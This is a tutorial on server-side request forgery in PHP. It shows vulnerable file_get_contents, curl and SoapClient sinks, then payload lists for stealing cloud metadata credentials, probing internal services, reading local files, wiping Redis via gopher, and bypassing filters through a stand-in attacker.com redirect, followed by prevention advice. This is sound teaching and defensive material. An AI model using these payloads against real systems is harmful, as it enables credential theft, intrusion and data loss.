Server-Side Request Forgery (SSRF) in PHP
SSRF in PHP Applications
What is SSRF?
Server-Side Request Forgery (SSRF) occurs when an application fetches a remote resource at a URL controlled by the attacker. The server makes the request on the attacker's behalf, allowing access to internal services, cloud metadata, and localhost interfaces not reachable from the internet.
Vulnerable Patterns in PHP
// file_get_contents() — most common SSRF sink in PHP
$data = file_get_contents($_GET['url']);
echo $data;
// curl with user-controlled URL
$ch = curl_init($_POST['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// SoapClient — blind SSRF
$client = new SoapClient($_GET['wsdl']);
// Redirects — SSRF via open redirect + HTTP client
$img = file_get_contents("https://trusted.com/redirect?to=" . $_GET['path']);
Impact — What Can You Access?
- Cloud metadata — AWS, GCP, Azure credential endpoints
- Internal services — databases, Redis, Elasticsearch, admin panels not exposed externally
- Localhost services —
http://127.0.0.1:8080/admin,http://127.0.0.1:2379(etcd) - Local file read — via
file://protocol (if allow_url_fopen is on) - Port scanning — probe internal network topology
Exploitation — Cloud Metadata
// AWS EC2 metadata (IMDSv1 — no auth required)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/user-data/
// GCP metadata
?url=http://metadata.google.internal/computeMetadata/v1/instance/
?url=http://metadata.google.internal/computeMetadata/v1/project/
// Azure metadata
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
Exploitation — Internal Services
// Access internal admin panel
?url=http://127.0.0.1:8080/admin
?url=http://192.168.1.1:9200/_cat/indices // Elasticsearch
?url=http://127.0.0.1:6379 // Redis (banner grab)
?url=http://127.0.0.1:2181 // ZooKeeper
// Local file read (requires allow_url_fopen=On in some contexts)
?url=file:///etc/passwd
?url=file:///var/www/html/config.php
// Gopher protocol — can speak other protocols (redis, memcached, smtp)
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall // Redis FLUSHALL
Filter Bypass Techniques
// Bypass IP blocklist for 127.0.0.1 / localhost
?url=http://0.0.0.0:8080/
?url=http://0x7f000001:8080/ // hex
?url=http://2130706433:8080/ // decimal
?url=http://127.1:8080/ // short form
?url=http://[::1]:8080/ // IPv6
?url=http://localtest.me/ // resolves to 127.0.0.1
// Bypass domain whitelist via redirect
?url=http://attacker.com/redirect // redirects to 169.254.169.254
// DNS rebinding — domain resolves to public IP first, then to internal IP
// Use: https://lock.cmpxchg8b.com/rebinder.html
// URL parsing confusion
?url=http://trusted.com@169.254.169.254/ // @ redirects
?url=http://169.254.169.254#trusted.com // fragment
// IPv6-mapped IPv4
?url=http://[::ffff:169.254.169.254]/
Blind SSRF Detection
When the response is not shown, use out-of-band techniques to confirm SSRF:
// Use Burp Collaborator or interactsh
?url=http://your-collaborator-id.oastify.com
// Or a simple ngrok tunnel:
ngrok http 8080
?url=http://abc123.ngrok.io/ssrf-test
// DNS lookup only — minimal payload
?url=http://ssrf-test.attacker.com
Prevention
// 1. Whitelist allowed domains
$allowed_hosts = ['api.example.com', 'cdn.example.com'];
$parsed = parse_url($_GET['url']);
if (!in_array($parsed['host'], $allowed_hosts, true)) {
die('Not allowed');
}
// 2. Resolve DNS and check IP before fetching
$ip = gethostbyname($parsed['host']);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
die('Private IP not allowed');
}
// 3. Disable dangerous URL schemes in curl
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // disable redirects
// 4. php.ini — disable file:// in HTTP clients
allow_url_fopen = Off
Important: IP-based filters are not sufficient alone. DNS rebinding and redirect-based bypasses can circumvent them. The most robust defense is a whitelist of allowed destinations combined with disabling redirects and dangerous URL schemes.
Key Insight: SSRF in cloud environments is particularly critical because the metadata endpoint at 169.254.169.254 provides IAM credentials that grant access to the entire cloud account. Always test SSRF for cloud metadata access on cloud-hosted applications.